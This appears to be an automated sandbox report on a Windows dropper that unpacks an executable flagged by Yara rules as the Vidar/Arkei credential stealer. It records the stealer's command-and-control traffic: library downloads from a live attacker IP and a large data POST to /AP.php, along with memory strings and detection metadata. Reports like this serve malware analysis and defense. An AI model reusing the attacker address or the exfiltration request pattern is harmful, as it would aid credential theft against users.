Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: 1_2_004052D0 InternetOpenA,StrCmpCA,InternetSetOptionA,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_004052D0

Source: global traffic	HTTP traffic detected: GET /AP.php HTTP/1.1Host: 104.194.151.11Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij

Source: unknown

HTTP traffic detected: POST /AP.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GVA1VKFU3EKF3E37Host: 104.194.151.11Content-Length: 98756Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij

Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/AP.php
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/freebl3.dll
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/mozglue.dll
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/mozglue.dllZ
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/msvcp140.dll
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/msvcp140.dllF
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/nss3.dll
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/nss3.dllr
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/softokn3.dll
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/softokn3.dllt
Source: Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dll
Source: Builded.exe, 00000001.00000002.1699174653.0000000000706000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/vcruntime140.dll7I
Source: Builded.exe, 00000001.00000002.1699174653.0000000000706000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/vcruntime140.dllAH
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.mozilla.com0
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Builded.exe, 00000001.00000002.1702662144.000000000A14C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: Builded.exe, 00000001.00000002.1702441946.00000000096D8000.00000004.00000020.00020000.00000000.sdmp, 1NYCBAAI.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 1NYCBAAI.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Builded.exe, 00000001.00000002.1702441946.00000000096D8000.00000004.00000020.00020000.00000000.sdmp, 1NYCBAAI.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 1NYCBAAI.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Builded.exe, 00000001.00000002.1702662144.000000000A14C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Builded.exe, 00000001.00000002.1702662144.000000000A14C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Builded.exe, 00000001.00000002.1702662144.000000000A14C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: Builded.exe, 00000001.00000003.1691679737.0000000009408000.00000004.00000020.00020000.00000000.sdmp, Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Builded.exe, 00000001.00000002.1702662144.000000000A14C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Builded.exe, 00000001.00000003.1691679737.0000000009408000.00000004.00000020.00020000.00000000.sdmp, Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.Builded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: Builded.exe PID: 7304, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

PE file has a writeable .text section

Source: Builded.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFF400C	0_2_00007FF7BDFF400C
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFDA8AC	0_2_00007FF7BDFDA8AC
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFDDC4C	0_2_00007FF7BDFDDC4C
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFEECE0	0_2_00007FF7BDFEECE0
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFF09D8	0_2_00007FF7BDFF09D8
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFE6294	0_2_00007FF7BDFE6294
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BE002F24	0_2_00007FF7BE002F24
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BE009008	0_2_00007FF7BE009008
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFFC074	0_2_00007FF7BDFFC074
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFFFD18	0_2_00007FF7BDFFFD18
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFFBDF8	0_2_00007FF7BDFFBDF8
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFE569C	0_2_00007FF7BDFE569C
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFDBF0C	0_2_00007FF7BDFDBF0C
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFDB318	0_2_00007FF7BDFDB318
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BE005510	0_2_00007FF7BE005510
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFDE91C	0_2_00007FF7BDFDE91C
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFDB948	0_2_00007FF7BDFDB948
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFF400C	0_2_00007FF7BDFF400C
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BE0059E0	0_2_00007FF7BE0059E0
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFECA30	0_2_00007FF7BDFECA30
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFD72AC	0_2_00007FF7BDFD72AC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00410600	1_2_00410600
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00410C00	1_2_00410C00
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00410A10	1_2_00410A10
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00411490	1_2_00411490

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: String function: 00404A00 appears 470 times

Source: sqlite3.dll.1.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3[1].dll.1.dr	Static PE information: Number of sections : 19 > 10

Source: 1.2.Builded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: Builded.exe PID: 7304, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/24@0/1

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BDFD3BF8 GetLastError,FormatMessageW,LocalFree,

0_2_00007FF7BDFD3BF8

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BDFEC260 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00007FF7BDFEC260

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7416:120:WilError_03

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: 8BQ2v9glrG.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: sqlite3.dll.1.dr, nss3.dll.1.dr, nss3[1].dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
Source: sqlite3.dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: sqlite3.dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: sqlite3.dll.1.dr, nss3.dll.1.dr, nss3[1].dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: sqlite3.dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: sqlite3.dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: sqlite3.dll.1.dr, nss3.dll.1.dr, nss3[1].dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3.dll.1.dr, nss3.dll.1.dr, nss3[1].dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3.dll.1.dr, nss3.dll.1.dr, nss3[1].dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
